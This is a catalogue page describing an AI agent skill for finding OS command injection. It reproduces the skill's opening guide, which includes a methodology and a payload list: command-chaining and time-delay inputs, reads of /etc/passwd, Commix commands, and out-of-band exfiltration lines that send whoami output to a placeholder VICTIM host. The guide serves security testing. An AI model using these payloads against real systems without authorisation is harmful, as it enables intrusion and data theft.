cmd-injection

cmd-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 104 tokens per session (1,742 once invoked), scanned A, original, MIT.

A guide to finding OS command injection, where unsanitized user input is passed to a system shell and can add attacker-controlled commands.

In plain words
What is it for?
Reviewing dangerous process-execution APIs, tracing parameters to shell commands, and testing features such as ping, DNS lookup, file conversion, and archives.
Why use it?
It helps identify application code and input paths that could give an attacker the web server's file, network, or process access.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit Reviewing dangerous process-execution APIs, tracing parameters to shell commands, and testing features such as ping, DNS lookup, file conversion, and archives.

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Install with agentmods
npx agentmods add skills/shulkwisec/bb-huge/cmd-injection
Install

Getting it into your agent

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Any agent
npx skills add ShulkwiSEC/bb-huge --skill cmd-injection
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

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Per session 104 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,742 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00104 $0.01742
Opus 5 $0.00052 $0.00871
Sonnet 5 $0.00021 $0.00348
Haiku 4.5 $0.00010 $0.00174

Measured 7d ago against content hash f1d431eedecb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

cmd-injection scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

compatibility: Designed for Claude Code. Requires curl, Burp Suite or OWASP ZAP, Commix (optional).

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

OS command injection occurs when user input is passed unsanitized to a system shell via dangerous APIs: Java `Runtime.exec()`, Python `os.system/subprocess`, PHP `system/shell_exec/exec/proc_open`, C `system/exec`. Detec
skills/curated/cmd-injection/SKILL.md · 119 lines

How it starts

The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.

OS Command Injection

What Is Broken and Why

Command injection occurs when an application passes user-supplied data to a system shell without sanitization, effectively letting the attacker append their own commands. Applications that invoke OS utilities (ping, nslookup, file conversion tools, archive utilities) by constructing shell strings are particularly susceptible. The vulnerability grants attacker-level access equivalent to the web server process user, enabling file read/write, network pivoting, and privilege escalation.

Key Signals

  • Application invokes OS utilities and reflects their output (ping results, DNS lookups, file listings)
  • Parameters accepting hostnames, filenames, or search terms passed to shell commands
  • Error messages referencing shell commands or paths (/bin/sh, cmd.exe)
  • File download or conversion features that call system utilities
  • Parameters containing IP addresses or hostnames processed server-side
  • Dangerous functions in source: Runtime.exec(), os.system(), shell_exec(), proc_open(), subprocess.call()

Methodology

  1. Identify parameters that may reach shell execution (filenames, hostnames, IDs used in system calls).
  2. Inject shell metacharacters one at a time: |, ;, &, &&, ||, `, $().
  3. Append a time-delay command to detect blind injection without visible output: ; sleep 5 or | ping -c 5 127.0.0.1.
  4. Confirm execution by measuring response time difference.
  5. Exfiltrate data via out-of-band channel (DNS lookup or HTTP request to attacker server):
    • ; curl http://VICTIM/$(whoami)
    • ; nslookup $(whoami).VICTIM
  6. For Windows targets, use ping -n 5 127.0.0.1 for time delay; dir instead of ls.
  7. Attempt privilege escalation if running as low-privilege user.

Payloads & Tools

# Basic command chaining (Linux)
TARGET/cgi-bin/script.pl?doc=report.pdf|id
TARGET/page?host=127.0.0.1;id
TARGET/page?host=127.0.0.1&&id
TARGET/page?host=127.0.0.1||id

# Command substitution
TARGET/page?host=$(id)
TARGET/page?host=`id`

# Blind injection — time delay (Linux)
TARGET/page?host=127.0.0.1;sleep%205
TARGET/page?host=127.0.0.1|ping%20-c%205%20127.0.0.1

# Blind injection — time delay (Windows)
TARGET/page?host=127.0.0.1|ping%20-n%205%20127.0.0.1

# Blind injection — out-of-band DNS exfil
TARGET/page?host=;nslookup%20$(whoami).VICTIM
TARGET/page?host=;curl%20http://VICTIM/$(whoami)

# File read
TARGET/page?file=report.pdf;cat%20/etc/passwd
TARGET/page?file=report.pdf|type%20C:\Windows\win.ini

# PHP-specific (POST body)
Doc=Doc1.pdf+|+dir+c:\

# URL-encoded semicolon method
TARGET/something.php?dir=%3Bcat%20/etc/passwd

# Commix automated testing
commix --url="TARGET/page?host=INJECT_HERE" --technique=classic
commix --url="TARGET/page" --data="host=INJECT_HERE" --technique=timebased

Read the full file on GitHub · 119 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 119 lines · 104 tokens per session scan A f1d431eedecb

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cmd-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 104 tokens to every session and 1,742 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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